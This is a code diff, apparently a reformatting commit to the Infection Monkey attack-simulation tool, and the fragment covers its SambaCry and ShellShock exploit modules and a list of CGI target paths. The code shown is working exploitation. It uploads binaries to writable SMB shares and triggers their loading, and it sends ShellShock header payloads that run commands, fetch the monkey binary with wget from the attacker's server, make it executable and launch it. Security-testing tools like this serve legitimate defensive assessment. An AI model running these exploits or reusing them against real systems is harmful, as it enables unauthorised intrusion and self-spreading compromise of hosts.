) def clean_share(self, ip, share, creds): """ @@ -129,9 +156,14 @@ class SambaCryExploiter(HostExploiter): """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME, - self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64, - self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64] + file_list = [ + self.SAMBACRY_COMMANDLINE_FILENAME, + self.SAMBACRY_RUNNER_RESULT_FILENAME, + self.SAMBACRY_RUNNER_FILENAME_32, + self.SAMBACRY_RUNNER_FILENAME_64, + self.SAMBACRY_MONKEY_FILENAME_32, + self.SAMBACRY_MONKEY_FILENAME_64, + ] for filename in file_list: try: @@ -153,8 +185,9 @@ class SambaCryExploiter(HostExploiter): tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, - desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile( + tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA + ) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) except (impacket.smbconnection.SessionError, SessionError): @@ -193,16 +226,18 @@ class SambaCryExploiter(HostExploiter): def get_credentials_list(self): creds = self._config.get_exploit_user_password_or_hash_product() - creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash} - for user, password, lm_hash, ntlm_hash in creds] + creds = [ + {"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash} + for user, password, lm_hash, ntlm_hash in creds + ] # Add empty credentials for anonymous shares. - creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}) + creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""}) return creds def list_shares(self, smb_client): - shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] + shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()] return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] def is_vulnerable(self): @@ -214,8 +249,8 @@ class SambaCryExploiter(HostExploiter): LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr) return False - pattern = re.compile(r'\d*\.\d*\.\d*') - smb_server_name = self.host.services[SMB_SERVICE].get('name') + pattern = re.compile(r"\d*\.\d*\.\d*") + smb_server_name = self.host.services[SMB_SERVICE].get("name") if not smb_server_name: LOG.info("Host: %s refused SMB connection" % self.host.ip_addr) return False @@ -223,27 +258,38 @@ class SambaCryExploiter(HostExploiter): pattern_result = pattern.search(smb_server_name) is_vulnerable = False if pattern_result is not None: - samba_version = smb_server_name[pattern_result.start():pattern_result.end()] - samba_version_parts = samba_version.split('.') + samba_version = smb_server_name[pattern_result.start() : pattern_result.end()] + samba_version_parts = samba_version.split(".") if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and ( - samba_version_parts[1] <= "13"): + elif ( + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "4") + and (samba_version_parts[1] <= "13") + ): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and ( - samba_version_parts[1] <= "9"): + elif ( + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "5") + and (samba_version_parts[1] <= "9") + ): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and ( - samba_version_parts[1] <= "3"): + elif ( + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "6") + and (samba_version_parts[1] <= "3") + ): is_vulnerable = True else: # If pattern doesn't match we can't tell what version it is. Better try is_vulnerable = True - LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % - (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) + LOG.info( + "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" + % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) + ) return is_vulnerable @@ -255,27 +301,41 @@ class SambaCryExploiter(HostExploiter): """ tree_id = smb_client.connectTree(share) - with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read) + with self.get_monkey_commandline_file( + self._config.dropper_target_path_linux + ) as monkey_commandline_file: + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read + ) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read + ) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read + ) monkey_bin_32_src_path = get_target_monkey_by_os(False, True) monkey_bin_64_src_path = get_target_monkey_by_os(False, False) with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read) + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read + ) with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - monkey_bin_64_src_path).send() + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read + ) + T1105Telem( + ScanStatus.USED, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_bin_64_src_path, + ).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): @@ -304,8 +364,9 @@ class SambaCryExploiter(HostExploiter): # the extra / on the beginning is required for the vulnerability self.open_pipe(smb_client, "/" + module_path) except Exception as e: - # This is the expected result. We can't tell whether we succeeded or not just by this error code. - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + # This is the expected result. We can't tell whether we succeeded or not just by this + # error code. + if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: return True else: pass @@ -320,7 +381,10 @@ class SambaCryExploiter(HostExploiter): """ sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64] - return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)] + return [ + posixpath.join(*x) + for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names) + ] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: @@ -329,10 +393,12 @@ class SambaCryExploiter(HostExploiter): return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, - get_monkey_depth() - 1, - SambaCryExploiter.SAMBA_PORT, - str(location))) + return BytesIO( + DROPPER_ARG + + build_monkey_commandline( + self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location) + ) + ) @staticmethod def is_share_writable(smb_client, share): @@ -342,14 +408,14 @@ class SambaCryExploiter(HostExploiter): :param share: share name :return: True if share is writable, False otherwise. """ - LOG.debug('Checking %s for write access' % share) + LOG.debug("Checking %s for write access" % share) try: tree_id = smb_client.connectTree(share) except (impacket.smbconnection.SessionError, SessionError): return False try: - smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) writable = True except (impacket.smbconnection.SessionError, SessionError): writable = False @@ -369,85 +435,104 @@ class SambaCryExploiter(HostExploiter): """ smb_client = SMBConnection(ip, ip) smb_client.login( - credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + credentials["username"], + credentials["password"], + "", + credentials["lm_hash"], + credentials["ntlm_hash"], + ) return smb_client - # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # + # Following are slightly modified SMB functions from impacket to fit our needs of the + # vulnerability # @staticmethod - def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, - fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + def create_smb( + smb_client, + treeId, + fileName, + desiredAccess, + shareMode, + creationOptions, + creationDisposition, + fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None, + ): packet = smb_client.getSMBServer().SMB_PACKET() - packet['Command'] = SMB2_CREATE - packet['TreeID'] = treeId - if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: - packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + packet["Command"] = SMB2_CREATE + packet["TreeID"] = treeId + if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True: + packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS smb2Create = SMB2Create() - smb2Create['SecurityFlags'] = 0 - smb2Create['RequestedOplockLevel'] = oplockLevel - smb2Create['ImpersonationLevel'] = impersonationLevel - smb2Create['DesiredAccess'] = desiredAccess - smb2Create['FileAttributes'] = fileAttributes - smb2Create['ShareAccess'] = shareMode - smb2Create['CreateDisposition'] = creationDisposition - smb2Create['CreateOptions'] = creationOptions + smb2Create["SecurityFlags"] = 0 + smb2Create["RequestedOplockLevel"] = oplockLevel + smb2Create["ImpersonationLevel"] = impersonationLevel + smb2Create["DesiredAccess"] = desiredAccess + smb2Create["FileAttributes"] = fileAttributes + smb2Create["ShareAccess"] = shareMode + smb2Create["CreateDisposition"] = creationDisposition + smb2Create["CreateOptions"] = creationOptions - smb2Create['NameLength'] = len(fileName) * 2 - if fileName != '': - smb2Create['Buffer'] = fileName.encode('utf-16le') + smb2Create["NameLength"] = len(fileName) * 2 + if fileName != "": + smb2Create["Buffer"] = fileName.encode("utf-16le") else: - smb2Create['Buffer'] = b'\x00' + smb2Create["Buffer"] = b"\x00" if createContexts is not None: - smb2Create['Buffer'] += createContexts - smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] - smb2Create['CreateContextsLength'] = len(createContexts) + smb2Create["Buffer"] += createContexts + smb2Create["CreateContextsOffset"] = ( + len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] + ) + smb2Create["CreateContextsLength"] = len(createContexts) else: - smb2Create['CreateContextsOffset'] = 0 - smb2Create['CreateContextsLength'] = 0 + smb2Create["CreateContextsOffset"] = 0 + smb2Create["CreateContextsLength"] = 0 - packet['Data'] = smb2Create + packet["Data"] = smb2Create packetID = smb_client.getSMBServer().sendSMB(packet) ans = smb_client.getSMBServer().recvSMB(packetID) if ans.isValidAnswer(STATUS_SUCCESS): - createResponse = SMB2Create_Response(ans['Data']) + createResponse = SMB2Create_Response(ans["Data"]) # The client MUST generate a handle for the Open, and it MUST # return success and the generated handle to the calling application. # In our case, str(FileID) - return str(createResponse['FileID']) + return str(createResponse["FileID"]) @staticmethod def open_pipe(smb_client, pathName): - # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # We need to overwrite Impacket's openFile functions since they automatically convert + # paths to NT style # to make things easier for the caller. Not this time ;) - treeId = smb_client.connectTree('IPC$') - LOG.debug('Triggering path: %s' % pathName) + treeId = smb_client.connectTree("IPC$") + LOG.debug("Triggering path: %s" % pathName) if smb_client.getDialect() == SMB_DIALECT: _, flags2 = smb_client.getSMBServer().get_flags() - pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() - ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) - ntCreate['Parameters']['FileNameLength'] = len(pathName) - ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA - ntCreate['Parameters']['FileAttributes'] = 0 - ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ - ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE - ntCreate['Parameters']['CreateOptions'] = FILE_OPEN - ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION - ntCreate['Parameters']['SecurityFlags'] = 0 - ntCreate['Parameters']['CreateFlags'] = 0x16 - ntCreate['Data']['FileName'] = pathName + ntCreate["Parameters"] = SMBNtCreateAndX_Parameters() + ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate["Parameters"]["FileNameLength"] = len(pathName) + ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA + ntCreate["Parameters"]["FileAttributes"] = 0 + ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ + ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE + ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN + ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION + ntCreate["Parameters"]["SecurityFlags"] = 0 + ntCreate["Parameters"]["CreateFlags"] = 0x16 + ntCreate["Data"]["FileName"] = pathName if flags2 & SMB.FLAGS2_UNICODE: - ntCreate['Data']['Pad'] = 0x0 + ntCreate["Data"]["Pad"] = 0x0 return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: @@ -459,4 +544,5 @@ class SambaCryExploiter(HostExploiter): shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0) + fileAttributes=0, + ) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 4caa7441f..7f5df694b 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -1,59 +1,63 @@ -# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py +# Implementation is based on shellshock script provided +# https://github.com/nccgroup/shocker/blob/master/shocker.py import logging import string -from random import choice +from random import SystemRandom import requests from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import DROPPER_ARG from infection_monkey.telemetry.attack.t1222_telem import T1222Telem - -__author__ = 'danielg' +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) TIMEOUT = 2 -TEST_COMMAND = '/bin/uname -a' +TEST_COMMAND = "/bin/uname -a" DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder -LOCK_HELPER_FILE = '/tmp/monkey_shellshock' +LOCK_HELPER_FILE = "/tmp/monkey_shellshock" class ShellShockExploiter(HostExploiter): - _attacks = { - "Content-type": "() { :;}; echo; " - } + _attacks = {"Content-type": "() { :;}; echo; "} - _TARGET_OS_TYPE = ['linux'] - _EXPLOITED_SERVICE = 'Bash' + _TARGET_OS_TYPE = ["linux"] + _EXPLOITED_SERVICE = "Bash" def __init__(self, host): super(ShellShockExploiter, self).__init__(host) self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - self.success_flag = ''.join( - choice(string.ascii_uppercase + string.digits - ) for _ in range(20)) + safe_random = SystemRandom() + self.success_flag = "".join( + safe_random.choice(string.ascii_uppercase + string.digits) for _ in range(20) + ) self.skip_exist = self._config.skip_exploit_if_file_exist def _exploit_host(self): # start by picking ports candidate_services = { - service: self.host.services[service] for service in self.host.services if - ('name' in self.host.services[service]) and (self.host.services[service]['name'] == 'http') + service: self.host.services[service] + for service in self.host.services + if ("name" in self.host.services[service]) + and (self.host.services[service]["name"] == "http") } - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if - 'tcp-' + str(port) in candidate_services] + valid_ports = [ + (port, candidate_services["tcp-" + str(port)]["data"][1]) + for port in self.HTTP + if "tcp-" + str(port) in candidate_services + ] http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] LOG.info( - 'Scanning %s, ports [%s] for vulnerable CGI pages' % ( - self.host, ",".join([str(port[0]) for port in valid_ports])) + "Scanning %s, ports [%s] for vulnerable CGI pages" + % (self.host, ",".join([str(port[0]) for port in valid_ports])) ) attackable_urls = [] @@ -69,39 +73,46 @@ class ShellShockExploiter(HostExploiter): exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed - self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] + self.exploit_info["vulnerable_urls"] = [url[1] for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs - if not self.host.os.get('type'): + if not self.host.os.get("type"): try: - uname_os_attack = exploit + '/bin/uname -o' + uname_os_attack = exploit + "/bin/uname -o" uname_os = self.attack_page(url, header, uname_os_attack) - if 'linux' in uname_os: - self.host.os['type'] = 'linux' + if "linux" in uname_os: + self.host.os["type"] = "linux" else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False - if not self.host.os.get('machine'): + if not self.host.os.get("machine"): try: - uname_machine_attack = exploit + '/bin/uname -m' + uname_machine_attack = exploit + "/bin/uname -m" uname_machine = self.attack_page(url, header, uname_machine_attack) - if '' != uname_machine: - self.host.os['machine'] = uname_machine.lower().strip() + if "" != uname_machine: + self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: - LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc) + LOG.debug( + "Error running uname machine command on victim %r: (%s)", self.host, exc + ) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if self.skip_exist and ( + self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) + ): + LOG.info( + "Host %s was already infected under the current configuration, " + "done" % self.host + ) return True # return already infected src_path = get_target_monkey(self.host) @@ -119,12 +130,12 @@ class ShellShockExploiter(HostExploiter): LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") return False - download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) + download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux) download = exploit + download_command - self.attack_page(url, header, - download) # we ignore failures here since it might take more than TIMEOUT time + self.attack_page( + url, header, download + ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -132,30 +143,44 @@ class ShellShockExploiter(HostExploiter): self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( - 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): + "ELF" + not in self.check_remote_file_exists( + url, header, exploit, dropper_target_path_linux + ) + ): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable - chmod = '/bin/chmod +x %s' % dropper_target_path_linux + chmod = "/bin/chmod +x %s" % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, - get_monkey_depth() - 1, - HTTPTools.get_port_from_url(url), - dropper_target_path_linux) - cmdline += ' & ' + cmdline += build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + HTTPTools.get_port_from_url(url), + dropper_target_path_linux, + ) + cmdline += " & " run_path = exploit + cmdline self.attack_page(url, header, run_path) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, + ) - if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): + if not ( + self.check_remote_file_exists( + url, header, exploit, self._config.monkey_log_path_linux + ) + ): LOG.info("Log file does not exist, monkey might not have run") continue self.add_executed_cmd(cmdline) @@ -169,7 +194,7 @@ class ShellShockExploiter(HostExploiter): Checks if a remote file exists and returns the content if so file_path should be fully qualified """ - cmdline = '/usr/bin/head -c 4 %s' % file_path + cmdline = "/usr/bin/head -c 4 %s" % file_path run_path = exploit + cmdline resp = cls.attack_page(url, header, run_path) if resp: @@ -187,24 +212,24 @@ class ShellShockExploiter(HostExploiter): LOG.debug("Trying exploit for %s" % url) for header, exploit in list(attacks.items()): - attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND + attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND result = self.attack_page(url, header, attack) if self.success_flag in result: LOG.info("URL %s looks vulnerable" % url) return True, url, header, exploit else: LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) - return False, + return (False,) def _create_lock_file(self, exploit, url, header): if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): return False - cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + cmd = exploit + "echo AAAA > %s" % LOCK_HELPER_FILE self.attack_page(url, header, cmd) return True def _remove_lock_file(self, exploit, url, header): - cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + cmd = exploit + "rm %s" % LOCK_HELPER_FILE self.attack_page(url, header, cmd) @staticmethod @@ -213,7 +238,9 @@ class ShellShockExploiter(HostExploiter): try: LOG.debug("Header is: %s" % header) LOG.debug("Attack is: %s" % attack) - r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT) # noqa: DUO123 + r = requests.get( # noqa: DUO123 + url, headers={header: attack}, verify=False, timeout=TIMEOUT + ) result = r.content.decode() return result except requests.exceptions.RequestException as exc: @@ -226,9 +253,9 @@ class ShellShockExploiter(HostExploiter): Checks if which urls exist :return: Sequence of URLs to try and attack """ - attack_path = 'http://' + attack_path = "http://" if is_https: - attack_path = 'https://' + attack_path = "https://" attack_path = attack_path + str(host) + ":" + str(port) reqs = [] timeout = False @@ -240,7 +267,10 @@ class ShellShockExploiter(HostExploiter): timeout = True break if timeout: - LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") + LOG.debug( + "Some connections timed out while sending request to potentially vulnerable " + "urls." + ) valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py index 46851dde1..3a128b23e 100644 --- a/monkey/infection_monkey/exploit/shellshock_resources.py +++ b/monkey/infection_monkey/exploit/shellshock_resources.py @@ -2,407 +2,407 @@ # copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list CGI_FILES = ( - r'/', - r'/admin.cgi', - r'/administrator.cgi', - r'/agora.cgi', - r'/aktivate/cgi-bin/catgy.cgi', - r'/analyse.cgi', - r'/apps/web/vs_diag.cgi', - r'/axis-cgi/buffer/command.cgi', - r'/b2-include/b2edit.showposts.php', - r'/bandwidth/index.cgi', - r'/bigconf.cgi', - r'/cartcart.cgi', - r'/cart.cgi', - r'/ccbill/whereami.cgi', - r'/cgi-bin/14all-1.1.cgi', - r'/cgi-bin/14all.cgi', - r'/cgi-bin/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp4.cgi', - r'/cgi-bin/addbanner.cgi', - r'/cgi-bin/add_ftp.cgi', - r'/cgi-bin/adduser.cgi', - r'/cgi-bin/admin/admin.cgi', - r'/cgi-bin/admin.cgi', - r'/cgi-bin/admin/getparam.cgi', - r'/cgi-bin/adminhot.cgi', - r'/cgi-bin/admin.pl', - r'/cgi-bin/admin/setup.cgi', - r'/cgi-bin/adminwww.cgi', - r'/cgi-bin/af.cgi', - r'/cgi-bin/aglimpse.cgi', - r'/cgi-bin/alienform.cgi', - r'/cgi-bin/AnyBoard.cgi', - r'/cgi-bin/architext_query.cgi', - r'/cgi-bin/astrocam.cgi', - r'/cgi-bin/AT-admin.cgi', - r'/cgi-bin/AT-generate.cgi', - r'/cgi-bin/auction/auction.cgi', - r'/cgi-bin/auktion.cgi', - r'/cgi-bin/ax-admin.cgi', - r'/cgi-bin/ax.cgi', - r'/cgi-bin/axs.cgi', - r'/cgi-bin/badmin.cgi', - r'/cgi-bin/banner.cgi', - r'/cgi-bin/bannereditor.cgi', - r'/cgi-bin/bb-ack.sh', - r'/cgi-bin/bb-histlog.sh', - r'/cgi-bin/bb-hist.sh', - r'/cgi-bin/bb-hostsvc.sh', - r'/cgi-bin/bb-replog.sh', - r'/cgi-bin/bb-rep.sh', - r'/cgi-bin/bbs_forum.cgi', - r'/cgi-bin/bigconf.cgi', - r'/cgi-bin/bizdb1-search.cgi', - r'/cgi-bin/blog/mt-check.cgi', - r'/cgi-bin/blog/mt-load.cgi', - r'/cgi-bin/bnbform.cgi', - r'/cgi-bin/book.cgi', - r'/cgi-bin/boozt/admin/index.cgi', - r'/cgi-bin/bsguest.cgi', - r'/cgi-bin/bslist.cgi', - r'/cgi-bin/build.cgi', - r'/cgi-bin/bulk/bulk.cgi', - r'/cgi-bin/cached_feed.cgi', - r'/cgi-bin/cachemgr.cgi', - r'/cgi-bin/calendar/index.cgi', - r'/cgi-bin/cartmanager.cgi', - r'/cgi-bin/cbmc/forums.cgi', - r'/cgi-bin/ccvsblame.cgi', - r'/cgi-bin/c_download.cgi', - r'/cgi-bin/cgforum.cgi', - r'/cgi-bin/.cgi', - r'/cgi-bin/cgi_process', - r'/cgi-bin/classified.cgi', - r'/cgi-bin/classifieds.cgi', - r'/cgi-bin/classifieds/classifieds.cgi', - r'/cgi-bin/classifieds/index.cgi', - r'/cgi-bin/.cobalt/alert/service.cgi', - r'/cgi-bin/.cobalt/message/message.cgi', - r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', - r'/cgi-bin/commandit.cgi', - r'/cgi-bin/commerce.cgi', - r'/cgi-bin/common/listrec.pl', - r'/cgi-bin/compatible.cgi', - r'/cgi-bin/Count.cgi', - r'/cgi-bin/csChatRBox.cgi', - r'/cgi-bin/csGuestBook.cgi', - r'/cgi-bin/csLiveSupport.cgi', - r'/cgi-bin/CSMailto.cgi', - r'/cgi-bin/CSMailto/CSMailto.cgi', - r'/cgi-bin/csNews.cgi', - r'/cgi-bin/csNewsPro.cgi', - r'/cgi-bin/csPassword.cgi', - r'/cgi-bin/csPassword/csPassword.cgi', - r'/cgi-bin/csSearch.cgi', - r'/cgi-bin/csv_db.cgi', - r'/cgi-bin/cvsblame.cgi', - r'/cgi-bin/cvslog.cgi', - r'/cgi-bin/cvsquery.cgi', - r'/cgi-bin/cvsqueryform.cgi', - r'/cgi-bin/day5datacopier.cgi', - r'/cgi-bin/day5datanotifier.cgi', - r'/cgi-bin/db_manager.cgi', - r'/cgi-bin/dbman/db.cgi', - r'/cgi-bin/dcforum.cgi', - r'/cgi-bin/dcshop.cgi', - r'/cgi-bin/dfire.cgi', - r'/cgi-bin/diagnose.cgi', - r'/cgi-bin/dig.cgi', - r'/cgi-bin/directorypro.cgi', - r'/cgi-bin/download.cgi', - r'/cgi-bin/e87_Ba79yo87.cgi', - r'/cgi-bin/emu/html/emumail.cgi', - r'/cgi-bin/emumail.cgi', - r'/cgi-bin/emumail/emumail.cgi', - r'/cgi-bin/enter.cgi', - r'/cgi-bin/environ.cgi', - r'/cgi-bin/ezadmin.cgi', - r'/cgi-bin/ezboard.cgi', - r'/cgi-bin/ezman.cgi', - r'/cgi-bin/ezshopper2/loadpage.cgi', - r'/cgi-bin/ezshopper3/loadpage.cgi', - r'/cgi-bin/ezshopper/loadpage.cgi', - r'/cgi-bin/ezshopper/search.cgi', - r'/cgi-bin/faqmanager.cgi', - r'/cgi-bin/FileSeek2.cgi', - r'/cgi-bin/FileSeek.cgi', - r'/cgi-bin/finger.cgi', - r'/cgi-bin/flexform.cgi', - r'/cgi-bin/fom.cgi', - r'/cgi-bin/fom/fom.cgi', - r'/cgi-bin/FormHandler.cgi', - r'/cgi-bin/FormMail.cgi', - r'/cgi-bin/gbadmin.cgi', - r'/cgi-bin/gbook/gbook.cgi', - r'/cgi-bin/generate.cgi', - r'/cgi-bin/getdoc.cgi', - r'/cgi-bin/gH.cgi', - r'/cgi-bin/gm-authors.cgi', - r'/cgi-bin/gm.cgi', - r'/cgi-bin/gm-cplog.cgi', - 